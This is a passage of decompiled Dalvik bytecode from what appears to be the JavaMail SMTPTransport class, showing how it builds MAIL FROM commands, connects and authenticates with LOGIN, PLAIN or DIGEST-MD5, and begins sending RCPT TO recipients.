00000040  iget-object             v3, p0, SMTPTransport->name:String
00000044  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v3
0000004A  move-result-object      v1
0000004C  const-string            v3, ".from"
00000050  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v3
00000056  move-result-object      v1
00000058  invoke-virtual          StringBuilder->toString()String, v1
0000005E  move-result-object      v1
00000060  invoke-virtual          Session->getProperty(String)String, v0, v1
00000066  move-result-object      v0
:68
00000068  if-eqz                  v0, :78
:6C
0000006C  invoke-virtual          String->length()I, v0
00000072  move-result             v1
00000074  if-gtz                  v1, :AC
:78
00000078  iget-object             v0, p0, SMTPTransport->message:MimeMessage
0000007C  if-eqz                  v0, :2BA
:80
00000080  iget-object             v0, p0, SMTPTransport->message:MimeMessage
00000084  invoke-virtual          MimeMessage->getFrom()[Address, v0
0000008A  move-result-object      v0
0000008C  if-eqz                  v0, :2BA
:90
00000090  array-length            v1, v0
00000092  if-lez                  v1, :2BA
:96
00000096  const/4                 v1, 0x0
00000098  aget-object             v0, v0, v1
:9C
0000009C  if-eqz                  v0, :2CA
:A0
000000A0  check-cast              v0, InternetAddress
000000A4  invoke-virtual          InternetAddress->getAddress()String, v0
000000AA  move-result-object      v0
:AC
000000AC  new-instance            v1, StringBuilder
000000B0  const-string            v3, "MAIL FROM:"
000000B4  invoke-direct           StringBuilder-><init>(String)V, v1, v3
000000BA  invoke-direct           SMTPTransport->normalizeAddress(String)String, p0, v0
000000C0  move-result-object      v0
000000C2  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
000000C8  move-result-object      v0
000000CA  invoke-virtual          StringBuilder->toString()String, v0
000000D0  move-result-object      v1
000000D2  const-string            v0, "DSN"
000000D6  invoke-virtual          SMTPTransport->supportsExtension(String)Z, p0, v0
000000DC  move-result             v0
000000DE  if-eqz                  v0, :170
:E2
000000E2  iget-object             v0, p0, SMTPTransport->message:MimeMessage
000000E6  instance-of             v0, v0, SMTPMessage
000000EA  if-eqz                  v0, :334
:EE
000000EE  iget-object             v0, p0, SMTPTransport->message:MimeMessage
000000F2  check-cast              v0, SMTPMessage
000000F6  invoke-virtual          SMTPMessage->getDSNRet()String, v0
000000FC  move-result-object      v0
:FE
000000FE  if-nez                  v0, :13C
:102
00000102  iget-object             v0, p0, SMTPTransport->session:Session
00000106  new-instance            v3, StringBuilder
0000010A  const-string            v4, "mail."
0000010E  invoke-direct           StringBuilder-><init>(String)V, v3, v4
00000114  iget-object             v4, p0, SMTPTransport->name:String
00000118  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v4
0000011E  move-result-object      v3
00000120  const-string            v4, ".dsn.ret"
00000124  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v4
0000012A  move-result-object      v3
0000012C  invoke-virtual          StringBuilder->toString()String, v3
00000132  move-result-object      v3
00000134  invoke-virtual          Session->getProperty(String)String, v0, v3
0000013A  move-result-object      v0
:13C
0000013C  if-eqz                  v0, :170
:140
00000140  new-instance            v3, StringBuilder
00000144  invoke-static           String->valueOf(Object)String, v1
0000014A  move-result-object      v1
0000014C  invoke-direct           StringBuilder-><init>(String)V, v3, v1
00000152  const-string            v1, " RET="
00000156  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v1
0000015C  move-result-object      v1
0000015E  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
00000164  move-result-object      v0
00000166  invoke-virtual          StringBuilder->toString()String, v0
0000016C  move-result-object      v0
0000016E  move-object             v1, v0
:170
00000170  const-string            v0, "AUTH"
00000174  invoke-virtual          SMTPTransport->supportsExtension(String)Z, p0, v0
0000017A  move-result             v0
0000017C  if-eqz                  v0, :216
:180
00000180  iget-object             v0, p0, SMTPTransport->message:MimeMessage
00000184  instance-of             v0, v0, SMTPMessage
00000188  if-eqz                  v0, :32E
:18C
0000018C  iget-object             v0, p0, SMTPTransport->message:MimeMessage
00000190  check-cast              v0, SMTPMessage
00000194  invoke-virtual          SMTPMessage->getSubmitter()String, v0
0000019A  move-result-object      v0
:19C
0000019C  if-nez                  v0, :328
:1A0
000001A0  iget-object             v0, p0, SMTPTransport->session:Session
000001A4  new-instance            v3, StringBuilder
000001A8  const-string            v4, "mail."
000001AC  invoke-direct           StringBuilder-><init>(String)V, v3, v4
000001B2  iget-object             v4, p0, SMTPTransport->name:String
000001B6  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v4
000001BC  move-result-object      v3
000001BE  const-string            v4, ".submitter"
000001C2  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v4
000001C8  move-result-object      v3
000001CA  invoke-virtual          StringBuilder->toString()String, v3
000001D0  move-result-object      v3
000001D2  invoke-virtual          Session->getProperty(String)String, v0, v3
000001D8  move-result-object      v0
000001DA  move-object             v3, v0
:1DC
000001DC  if-eqz                  v3, :216
:1E0
000001E0  invoke-static           SMTPTransport->xtext(String)String, v3
000001E6  move-result-object      v0
000001E8  new-instance            v4, StringBuilder
000001EC  invoke-static           String->valueOf(Object)String, v1
000001F2  move-result-object      v5
000001F4  invoke-direct           StringBuilder-><init>(String)V, v4, v5
000001FA  const-string            v5, " AUTH="
000001FE  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v5
00000204  move-result-object      v4
00000206  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v0
0000020C  move-result-object      v0
0000020E  invoke-virtual          StringBuilder->toString()String, v0
:214
00000214  move-result-object      v1
:216
00000216  iget-object             v0, p0, SMTPTransport->message:MimeMessage
0000021A  instance-of             v0, v0, SMTPMessage
0000021E  if-eqz                  v0, :324
:222
00000222  iget-object             v0, p0, SMTPTransport->message:MimeMessage
00000226  check-cast              v0, SMTPMessage
0000022A  invoke-virtual          SMTPMessage->getMailExtension()String, v0
00000230  move-result-object      v0
:232
00000232  if-nez                  v0, :270
:236
00000236  iget-object             v0, p0, SMTPTransport->session:Session
0000023A  new-instance            v2, StringBuilder
0000023E  const-string            v3, "mail."
00000242  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000248  iget-object             v3, p0, SMTPTransport->name:String
0000024C  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000252  move-result-object      v2
00000254  const-string            v3, ".mailextension"
00000258  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000025E  move-result-object      v2
00000260  invoke-virtual          StringBuilder->toString()String, v2
00000266  move-result-object      v2
00000268  invoke-virtual          Session->getProperty(String)String, v0, v2
0000026E  move-result-object      v0
:270
00000270  if-eqz                  v0, :2AE
:274
00000274  invoke-virtual          String->length()I, v0
0000027A  move-result             v2
0000027C  if-lez                  v2, :2AE
:280
00000280  new-instance            v2, StringBuilder
00000284  invoke-static           String->valueOf(Object)String, v1
0000028A  move-result-object      v1
0000028C  invoke-direct           StringBuilder-><init>(String)V, v2, v1
00000292  const-string            v1, " "
00000296  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
0000029C  move-result-object      v1
0000029E  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
000002A4  move-result-object      v0
000002A6  invoke-virtual          StringBuilder->toString()String, v0
000002AC  move-result-object      v1
:2AE
000002AE  const/16                v0, 0xFA
000002B2  invoke-direct           SMTPTransport->issueSendCommand(String, I)V, p0, v1, v0
000002B8  return-void
:2BA
000002BA  iget-object             v0, p0, SMTPTransport->session:Session
000002BE  invoke-static           InternetAddress->getLocalAddress(Session)InternetAddress, v0
000002C4  move-result-object      v0
000002C6  goto/16                 :9C
:2CA
000002CA  new-instance            v0, MessagingException
000002CE  const-string            v1, "can\'t determine local email address"
000002D2  invoke-direct           MessagingException-><init>(String)V, v0, v1
000002D8  throw                   v0
:2DA
000002DA  move-exception          v0
000002DC  iget-boolean            v4, p0, SMTPTransport->debug:Z
000002E0  if-eqz                  v4, :216
:2E4
000002E4  iget-object             v4, p0, SMTPTransport->out:PrintStream
000002E8  new-instance            v5, StringBuilder
000002EC  const-string            v6, "DEBUG SMTP: ignoring invalid submitter: "
000002F0  invoke-direct           StringBuilder-><init>(String)V, v5, v6
000002F6  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v3
000002FC  move-result-object      v3
000002FE  const-string            v5, ", Exception: "
00000302  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v5
00000308  move-result-object      v3
0000030A  invoke-virtual          StringBuilder->append(Object)StringBuilder, v3, v0
00000310  move-result-object      v0
00000312  invoke-virtual          StringBuilder->toString()String, v0
00000318  move-result-object      v0
0000031A  invoke-virtual          PrintStream->println(String)V, v4, v0
00000320  goto/16                 :216
:324
00000324  move-object             v0, v2
00000326  goto                    :232
:328
00000328  move-object             v3, v0
0000032A  goto/16                 :1DC
:32E
0000032E  move-object             v0, v2
00000330  goto/16                 :19C
:334
00000334  move-object             v0, v2
00000336  goto/16                 :FE
:33A
0000033A  move-object             v0, v2
0000033C  goto/16                 :1E
          .catch IllegalArgumentException {:1E0 .. :214} :2DA
.end method

.method protected protocolConnect(String, I, String, String)Z
          .registers 13
00000000  iget-object             v0, p0, SMTPTransport->session:Session
00000004  new-instance            v1, StringBuilder
00000008  const-string            v2, "mail."
0000000C  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000012  iget-object             v2, p0, SMTPTransport->name:String
00000016  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000001C  move-result-object      v1
0000001E  const-string            v2, ".ehlo"
00000022  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000028  move-result-object      v1
0000002A  invoke-virtual          StringBuilder->toString()String, v1
00000030  move-result-object      v1
00000032  invoke-virtual          Session->getProperty(String)String, v0, v1
00000038  move-result-object      v0
0000003A  if-eqz                  v0, :F6
:3E
0000003E  const-string            v1, "false"
00000042  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000048  move-result             v0
0000004A  if-eqz                  v0, :F6
:4E
0000004E  const/4                 v0, 0x0
:50
00000050  iget-object             v1, p0, SMTPTransport->session:Session
00000054  new-instance            v2, StringBuilder
00000058  const-string            v3, "mail."
0000005C  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000062  iget-object             v3, p0, SMTPTransport->name:String
00000066  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000006C  move-result-object      v2
0000006E  const-string            v3, ".auth"
00000072  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000078  move-result-object      v2
0000007A  invoke-virtual          StringBuilder->toString()String, v2
00000080  move-result-object      v2
00000082  invoke-virtual          Session->getProperty(String)String, v1, v2
00000088  move-result-object      v1
0000008A  if-eqz                  v1, :FA
:8E
0000008E  const-string            v2, "true"
00000092  invoke-virtual          String->equalsIgnoreCase(String)Z, v1, v2
00000098  move-result             v1
0000009A  if-eqz                  v1, :FA
:9E
0000009E  const/4                 v1, 0x1
000000A0  move                    v2, v1
:A2
000000A2  iget-boolean            v1, p0, SMTPTransport->debug:Z
000000A6  if-eqz                  v1, :E6
:AA
000000AA  iget-object             v1, p0, SMTPTransport->out:PrintStream
000000AE  new-instance            v3, StringBuilder
000000B2  const-string            v4, "DEBUG SMTP: useEhlo "
000000B6  invoke-direct           StringBuilder-><init>(String)V, v3, v4
000000BC  invoke-virtual          StringBuilder->append(Z)StringBuilder, v3, v0
000000C2  move-result-object      v3
000000C4  const-string            v4, ", useAuth "
000000C8  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v4
000000CE  move-result-object      v3
000000D0  invoke-virtual          StringBuilder->append(Z)StringBuilder, v3, v2
000000D6  move-result-object      v3
000000D8  invoke-virtual          StringBuilder->toString()String, v3
000000DE  move-result-object      v3
000000E0  invoke-virtual          PrintStream->println(String)V, v1, v3
:E6
000000E6  if-eqz                  v2, :100
:EA
000000EA  if-eqz                  p3, :F2
:EE
000000EE  if-nez                  p4, :100
:F2
000000F2  const/4                 v0, 0x0
:F4
000000F4  return                  v0
:F6
000000F6  const/4                 v0, 0x1
000000F8  goto                    :50
:FA
000000FA  const/4                 v1, 0x0
000000FC  move                    v2, v1
000000FE  goto                    :A2
:100
00000100  const/4                 v1, 0xFFFFFFFFFFFFFFFF
00000102  if-ne                   p2, v1, :14C
:106
00000106  iget-object             v1, p0, SMTPTransport->session:Session
0000010A  new-instance            v3, StringBuilder
0000010E  const-string            v4, "mail."
00000112  invoke-direct           StringBuilder-><init>(String)V, v3, v4
00000118  iget-object             v4, p0, SMTPTransport->name:String
0000011C  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v4
00000122  move-result-object      v3
00000124  const-string            v4, ".port"
00000128  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v4
0000012E  move-result-object      v3
00000130  invoke-virtual          StringBuilder->toString()String, v3
00000136  move-result-object      v3
00000138  invoke-virtual          Session->getProperty(String)String, v1, v3
0000013E  move-result-object      v1
00000140  if-eqz                  v1, :30A
:144
00000144  invoke-static           Integer->parseInt(String)I, v1
0000014A  move-result             p2
:14C
0000014C  if-eqz                  p1, :15C
:150
00000150  invoke-virtual          String->length()I, p1
00000156  move-result             v1
00000158  if-nez                  v1, :520
:15C
0000015C  const-string            v1, "localhost"
:160
00000160  const/4                 v3, 0x0
00000162  iget-object             v4, p0, SMTPTransport->serverSocket:Socket
00000166  if-eqz                  v4, :312
:16A
0000016A  invoke-direct           SMTPTransport->openServer()V, p0
:170
00000170  if-eqz                  v0, :51A
:174
00000174  invoke-virtual          SMTPTransport->getLocalHost()String, p0
0000017A  move-result-object      v0
0000017C  invoke-virtual          SMTPTransport->ehlo(String)Z, p0, v0
00000182  move-result             v0
:184
00000184  if-nez                  v0, :196
:188
00000188  invoke-virtual          SMTPTransport->getLocalHost()String, p0
0000018E  move-result-object      v0
00000190  invoke-virtual          SMTPTransport->helo(String)V, p0, v0
:196
00000196  iget-boolean            v0, p0, SMTPTransport->useStartTLS:Z
0000019A  if-eqz                  v0, :1C2
:19E
0000019E  const-string            v0, "STARTTLS"
000001A2  invoke-virtual          SMTPTransport->supportsExtension(String)Z, p0, v0
000001A8  move-result             v0
000001AA  if-eqz                  v0, :1C2
:1AE
000001AE  invoke-virtual          SMTPTransport->startTLS()V, p0
000001B4  invoke-virtual          SMTPTransport->getLocalHost()String, p0
000001BA  move-result-object      v0
000001BC  invoke-virtual          SMTPTransport->ehlo(String)Z, p0, v0
:1C2
000001C2  if-nez                  v2, :1CE
:1C6
000001C6  if-eqz                  p3, :502
:1CA
000001CA  if-eqz                  p4, :502
:1CE
000001CE  const-string            v0, "AUTH"
000001D2  invoke-virtual          SMTPTransport->supportsExtension(String)Z, p0, v0
000001D8  move-result             v0
000001DA  if-nez                  v0, :1EE
:1DE
000001DE  const-string            v0, "AUTH=LOGIN"
000001E2  invoke-virtual          SMTPTransport->supportsExtension(String)Z, p0, v0
000001E8  move-result             v0
000001EA  if-eqz                  v0, :502
:1EE
000001EE  iget-boolean            v0, p0, SMTPTransport->debug:Z
000001F2  if-eqz                  v0, :232
:1F6
000001F6  iget-object             v0, p0, SMTPTransport->out:PrintStream
000001FA  const-string            v2, "DEBUG SMTP: Attempt to authenticate"
000001FE  invoke-virtual          PrintStream->println(String)V, v0, v2
00000204  const-string            v0, "LOGIN"
00000208  invoke-virtual          SMTPTransport->supportsAuthentication(String)Z, p0, v0
0000020E  move-result             v0
00000210  if-nez                  v0, :232
:214
00000214  const-string            v0, "AUTH=LOGIN"
00000218  invoke-virtual          SMTPTransport->supportsExtension(String)Z, p0, v0
0000021E  move-result             v0
00000220  if-eqz                  v0, :232
:224
00000224  iget-object             v0, p0, SMTPTransport->out:PrintStream
00000228  const-string            v2, "DEBUG SMTP: use AUTH=LOGIN hack"
0000022C  invoke-virtual          PrintStream->println(String)V, v0, v2
:232
00000232  const-string            v0, "LOGIN"
00000236  invoke-virtual          SMTPTransport->supportsAuthentication(String)Z, p0, v0
0000023C  move-result             v0
0000023E  if-nez                  v0, :252
:242
00000242  const-string            v0, "AUTH=LOGIN"
00000246  invoke-virtual          SMTPTransport->supportsExtension(String)Z, p0, v0
0000024C  move-result             v0
0000024E  if-eqz                  v0, :350
:252
00000252  const-string            v0, "AUTH LOGIN"
00000256  invoke-virtual          SMTPTransport->simpleCommand(String)I, p0, v0
0000025C  move-result             v0
0000025E  const/16                v1, 0x212
00000262  if-ne                   v0, v1, :278
:266
00000266  invoke-virtual          SMTPTransport->startTLS()V, p0
0000026C  const-string            v0, "AUTH LOGIN"
00000270  invoke-virtual          SMTPTransport->simpleCommand(String)I, p0, v0
00000276  move-result             v0
:278
00000278  new-instance            v1, ByteArrayOutputStream
0000027C  invoke-direct           ByteArrayOutputStream-><init>()V, v1
00000282  new-instance            v2, BASE64EncoderStream
00000286  const                   v3, 0x7FFFFFFF
0000028C  invoke-direct           BASE64EncoderStream-><init>(OutputStream, I)V, v2, v1, v3
00000292  const/16                v3, 0x14E
00000296  if-ne                   v0, v3, :2C4
:29A
0000029A  invoke-static           ASCIIUtility->getBytes(String)[B, p3
000002A0  move-result-object      v3
000002A2  invoke-virtual          OutputStream->write([B)V, v2, v3
000002A8  invoke-virtual          OutputStream->flush()V, v2
000002AE  invoke-virtual          ByteArrayOutputStream->toByteArray()[B, v1
000002B4  move-result-object      v3
000002B6  invoke-virtual          SMTPTransport->simpleCommand([B)I, p0, v3
000002BC  move-result             v0
000002BE  invoke-virtual          ByteArrayOutputStream->reset()V, v1
:2C4
000002C4  const/16                v3, 0x14E
000002C8  if-ne                   v0, v3, :2F6
:2CC
000002CC  invoke-static           ASCIIUtility->getBytes(String)[B, p4
000002D2  move-result-object      v3
000002D4  invoke-virtual          OutputStream->write([B)V, v2, v3
000002DA  invoke-virtual          OutputStream->flush()V, v2
000002E0  invoke-virtual          ByteArrayOutputStream->toByteArray()[B, v1
000002E6  move-result-object      v2
000002E8  invoke-virtual          SMTPTransport->simpleCommand([B)I, p0, v2
000002EE  move-result             v0
000002F0  invoke-virtual          ByteArrayOutputStream->reset()V, v1
:2F6
000002F6  const/16                v1, 0xEB
000002FA  if-eq                   v0, v1, :502
:2FE
000002FE  invoke-direct           SMTPTransport->closeConnection()V, p0
00000304  const/4                 v0, 0x0
00000306  goto/16                 :F4
:30A
0000030A  iget                    p2, p0, SMTPTransport->defaultPort:I
0000030E  goto/16                 :14C
:312
00000312  invoke-direct           SMTPTransport->openServer(String, I)V, p0, v1, p2
00000318  goto/16                 :170
:31C
0000031C  move-exception          v1
0000031E  const/16                v1, 0xEB
00000322  if-eq                   v0, v1, :502
:326
00000326  invoke-direct           SMTPTransport->closeConnection()V, p0
0000032C  const/4                 v0, 0x0
0000032E  goto/16                 :F4
:332
00000332  move-exception          v1
00000334  move-object             v7, v1
00000336  move                    v1, v0
00000338  move-object             v0, v7
0000033A  const/16                v2, 0xEB
0000033E  if-eq                   v1, v2, :34E
:342
00000342  invoke-direct           SMTPTransport->closeConnection()V, p0
00000348  const/4                 v0, 0x0
0000034A  goto/16                 :F4
:34E
0000034E  throw                   v0
:350
00000350  const-string            v0, "PLAIN"
00000354  invoke-virtual          SMTPTransport->supportsAuthentication(String)Z, p0, v0
0000035A  move-result             v0
0000035C  if-eqz                  v0, :412
:360
00000360  const-string            v0, "AUTH PLAIN"
00000364  invoke-virtual          SMTPTransport->simpleCommand(String)I, p0, v0
0000036A  move-result             v1
:36C
0000036C  new-instance            v0, ByteArrayOutputStream
00000370  invoke-direct           ByteArrayOutputStream-><init>()V, v0
00000376  new-instance            v2, BASE64EncoderStream
0000037A  const                   v3, 0x7FFFFFFF
00000380  invoke-direct           BASE64EncoderStream-><init>(OutputStream, I)V, v2, v0, v3
00000386  const/16                v3, 0x14E
0000038A  if-ne                   v1, v3, :514
:38E
0000038E  const/4                 v3, 0x0
00000390  invoke-virtual          OutputStream->write(I)V, v2, v3
00000396  invoke-static           ASCIIUtility->getBytes(String)[B, p3
0000039C  move-result-object      v3
0000039E  invoke-virtual          OutputStream->write([B)V, v2, v3
000003A4  const/4                 v3, 0x0
000003A6  invoke-virtual          OutputStream->write(I)V, v2, v3
000003AC  invoke-static           ASCIIUtility->getBytes(String)[B, p4
000003B2  move-result-object      v3
000003B4  invoke-virtual          OutputStream->write([B)V, v2, v3
000003BA  invoke-virtual          OutputStream->flush()V, v2
000003C0  invoke-virtual          ByteArrayOutputStream->toByteArray()[B, v0
000003C6  move-result-object      v0
000003C8  invoke-virtual          SMTPTransport->simpleCommand([B)I, p0, v0
:3CE
000003CE  move-result             v0
:3D0
000003D0  const/16                v1, 0xEB
000003D4  if-eq                   v0, v1, :502
:3D8
000003D8  invoke-direct           SMTPTransport->closeConnection()V, p0
000003DE  const/4                 v0, 0x0
000003E0  goto/16                 :F4
:3E4
000003E4  move-exception          v0
000003E6  const/16                v0, 0xEB
000003EA  if-eq                   v1, v0, :502
:3EE
000003EE  invoke-direct           SMTPTransport->closeConnection()V, p0
000003F4  const/4                 v0, 0x0
000003F6  goto/16                 :F4
:3FA
000003FA  move-exception          v0
000003FC  const/16                v2, 0xEB
00000400  if-eq                   v1, v2, :410
:404
00000404  invoke-direct           SMTPTransport->closeConnection()V, p0
0000040A  const/4                 v0, 0x0
0000040C  goto/16                 :F4
:410
00000410  throw                   v0
:412
00000412  const-string            v0, "DIGEST-MD5"
00000416  invoke-virtual          SMTPTransport->supportsAuthentication(String)Z, p0, v0
0000041C  move-result             v0
0000041E  if-eqz                  v0, :502
:422
00000422  invoke-direct           SMTPTransport->getMD5()DigestMD5, p0
00000428  move-result-object      v0
0000042A  if-eqz                  v0, :502
:42E
0000042E  const-string            v2, "AUTH DIGEST-MD5"
00000432  invoke-virtual          SMTPTransport->simpleCommand(String)I, p0, v2
00000438  move-result             v6
0000043A  const/16                v2, 0x14E
0000043E  if-ne                   v6, v2, :510
:442
00000442  invoke-virtual          SMTPTransport->getSASLRealm()String, p0
00000448  move-result-object      v4
0000044A  iget-object             v5, p0, SMTPTransport->lastServerResponse:String
0000044E  move-object             v2, p3
00000450  move-object             v3, p4
00000452  invoke-virtual/range    DigestMD5->authClient(String, String, String, String, String)[B, v0 .. v5
00000458  move-result-object      v1
0000045A  invoke-virtual          SMTPTransport->simpleCommand([B)I, p0, v1
:460
00000460  move-result             v1
00000462  const/16                v2, 0x14E
00000466  if-ne                   v1, v2, :47C
:46A
0000046A  iget-object             v2, p0, SMTPTransport->lastServerResponse:String
0000046E  invoke-virtual          DigestMD5->authServer(String)Z, v0, v2
:474
00000474  move-result             v0
00000476  if-nez                  v0, :490
:47A
0000047A  const/4                 v1, 0xFFFFFFFFFFFFFFFF
:47C
0000047C  const/16                v0, 0xEB
00000480  if-eq                   v1, v0, :502
:484
00000484  invoke-direct           SMTPTransport->closeConnection()V, p0
0000048A  const/4                 v0, 0x0
0000048C  goto/16                 :F4
:490
00000490  const/4                 v0, 0x0
:492
00000492  new-array               v0, v0, [B
00000496  invoke-virtual          SMTPTransport->simpleCommand([B)I, p0, v0
:49C
0000049C  move-result             v1
0000049E  goto                    :47C
:4A0
000004A0  move-exception          v0
000004A2  move                    v1, v6
:4A4
000004A4  iget-boolean            v2, p0, SMTPTransport->debug:Z
000004A8  if-eqz                  v2, :4D4
:4AC
000004AC  iget-object             v2, p0, SMTPTransport->out:PrintStream
000004B0  new-instance            v3, StringBuilder
000004B4  const-string            v4, "DEBUG SMTP: DIGEST-MD5: "
000004B8  invoke-direct           StringBuilder-><init>(String)V, v3, v4
000004BE  invoke-virtual          StringBuilder->append(Object)StringBuilder, v3, v0
000004C4  move-result-object      v0
000004C6  invoke-virtual          StringBuilder->toString()String, v0
000004CC  move-result-object      v0
000004CE  invoke-virtual          PrintStream->println(String)V, v2, v0
:4D4
000004D4  const/16                v0, 0xEB
000004D8  if-eq                   v1, v0, :502
:4DC
000004DC  invoke-direct           SMTPTransport->closeConnection()V, p0
000004E2  const/4                 v0, 0x0
000004E4  goto/16                 :F4
:4E8
000004E8  move-exception          v0
000004EA  move                    v1, v6
:4EC
000004EC  const/16                v2, 0xEB
000004F0  if-eq                   v1, v2, :500
:4F4
000004F4  invoke-direct           SMTPTransport->closeConnection()V, p0
000004FA  const/4                 v0, 0x0
000004FC  goto/16                 :F4
:500
00000500  throw                   v0
:502
00000502  const/4                 v0, 0x1
00000504  goto/16                 :F4
:508
00000508  move-exception          v0
0000050A  goto                    :4EC
:50C
0000050C  move-exception          v0
0000050E  goto                    :4A4
:510
00000510  move                    v1, v6
00000512  goto                    :47C
:514
00000514  move                    v0, v1
00000516  goto/16                 :3D0
:51A
0000051A  move                    v0, v3
0000051C  goto/16                 :184
:520
00000520  move-object             v1, p1
00000522  goto/16                 :160
          .catch IOException {:278 .. :2F6} :31C
          .catchall {:278 .. :2F6} :332
          .catch IOException {:36C .. :3CE} :3E4
          .catchall {:36C .. :3CE} :3FA
          .catch Exception {:442 .. :460} :4A0
          .catchall {:442 .. :460} :4E8
          .catch Exception {:46A .. :474} :50C
          .catchall {:46A .. :474} :508
          .catch Exception {:492 .. :49C} :50C
          .catchall {:492 .. :49C} :508
          .catchall {:4A4 .. :4D4} :508
.end method

.method protected rcptTo()V
          .registers 15
00000000  new-instance            v9, Vector
00000004  invoke-direct           Vector-><init>()V, v9
0000000A  new-instance            v10, Vector
0000000E  invoke-direct           Vector-><init>()V, v10
00000014  new-instance            v11, Vector
00000018  invoke-direct           Vector-><init>()V, v11
0000001E  const/4                 v6, 0x0
00000020  const/4                 v4, 0x0
00000022  const/4                 v0, 0x0
00000024  iput-object             v0, p0, SMTPTransport->invalidAddr:[Address
00000028  iput-object             v0, p0, SMTPTransport->validUnsentAddr:[Address
0000002C  iput-object             v0, p0, SMTPTransport->validSentAddr:[Address
00000030  const/4                 v0, 0x0
00000032  iget-object             v1, p0, SMTPTransport->message:MimeMessage
00000036  instance-of             v1, v1, SMTPMessage
0000003A  if-eqz                  v1, :4E
:3E
0000003E  iget-object             v0, p0, SMTPTransport->message:MimeMessage
00000042  check-cast              v0, SMTPMessage
00000046  invoke-virtual          SMTPMessage->getSendPartial()Z, v0
0000004C  move-result             v0
:4E
0000004E  if-nez                  v0, :680
:52
00000052  iget-object             v0, p0, SMTPTransport->session:Session
00000056  new-instance            v1, StringBuilder
0000005A  const-string            v2, "mail."
0000005E  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000064  iget-object             v2, p0, SMTPTransport->name:String
00000068  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000006E  move-result-object      v1
00000070  const-string            v2, ".sendpartial"
00000074  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000007A  move-result-object      v1
0000007C  invoke-virtual          StringBuilder->toString()String, v1
00000082  move-result-object      v1
00000084  invoke-virtual          Session->getProperty(String)String, v0, v1
0000008A  move-result-object      v0
0000008C  if-eqz                  v0, :2B6
:90
00000090  const-string            v1, "true"
00000094  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
0000009A  move-result             v0
0000009C  if-eqz                  v0, :2B6
:A0
000000A0  const/4                 v0, 0x1
:A2
000000A2  move                    v1, v0
:A4
000000A4  iget-boolean            v0, p0, SMTPTransport->debug:Z
000000A8  if-eqz                  v0, :BE
:AC
000000AC  if-eqz                  v1, :BE
:B0
000000B0  iget-object             v0, p0, SMTPTransport->out:PrintStream
000000B4  const-string            v2, "DEBUG SMTP: sendPartial set"
000000B8  invoke-virtual          PrintStream->println(String)V, v0, v2
:BE
000000BE  const/4                 v2, 0x0
000000C0  const/4                 v0, 0x0
000000C2  const-string            v3, "DSN"
000000C6  invoke-virtual          SMTPTransport->supportsExtension(String)Z, p0, v3
000000CC  move-result             v3
000000CE  if-eqz                  v3, :678
:D2
000000D2  iget-object             v3, p0, SMTPTransport->message:MimeMessage
000000D6  instance-of             v3, v3, SMTPMessage
000000DA  if-eqz                  v3, :EE
:DE
000000DE  iget-object             v0, p0, SMTPTransport->message:MimeMessage
000000E2  check-cast              v0, SMTPMessage
000000E6  invoke-virtual          SMTPMessage->getDSNNotify()String, v0
000000EC  move-result-object      v0
:EE
000000EE  if-nez                  v0, :12C
:F2
000000F2  iget-object             v0, p0, SMTPTransport->session:Session
000000F6  new-instance            v3, StringBuilder
000000FA  const-string            v5, "mail."
000000FE  invoke-direct           StringBuilder-><init>(String)V, v3, v5
00000104  iget-object             v5, p0, SMTPTransport->name:String
00000108  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v5
0000010E  move-result-object      v3
00000110  const-string            v5, ".dsn.notify"
00000114  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v5
0000011A  move-result-object      v3
0000011C  invoke-virtual          StringBuilder->toString()String, v3
00000122  move-result-object      v3
00000124  invoke-virtual          Session->getProperty(String)String, v0, v3
0000012A  move-result-object      v0
:12C
0000012C  if-eqz                  v0, :670
:130
00000130  const/4                 v2, 0x1
00000132  move                    v3, v2
00000134  move-object             v2, v0
:136
00000136  const/4                 v0, 0x0
00000138  move                    v7, v0
:13A
0000013A  iget-object             v0, p0, SMTPTransport->addresses:[Address
0000013E  array-length            v0, v0
00000140  if-lt                   v7, v0, :2BC
:144
00000144  if-eqz                  v1, :156
:148
00000148  invoke-virtual          Vector->size()I, v9
0000014E  move-result             v0
00000150  if-nez                  v0, :156
:154
00000154  const/4                 v4, 0x1
:156
00000156  if-eqz                  v4, :4FE
:15A
0000015A  invoke-virtual          Vector->size()I, v11
00000160  move-result             v0
00000162  new-array               v0, v0, [Address
00000166  iput-object             v0, p0, SMTPTransport->invalidAddr:[Address
0000016A  iget-object             v0, p0, SMTPTransport->invalidAddr:[Address
0000016E  invoke-virtual          Vector->copyInto([Object)V, v11, v0
00000174  invoke-virtual          Vector->size()I, v9
0000017A  move-result             v0
0000017C  invoke-virtual          Vector->size()I, v10
00000182  move-result             v1
00000184  add-int/2addr           v0, v1
00000186  new-array               v0, v0, [Address
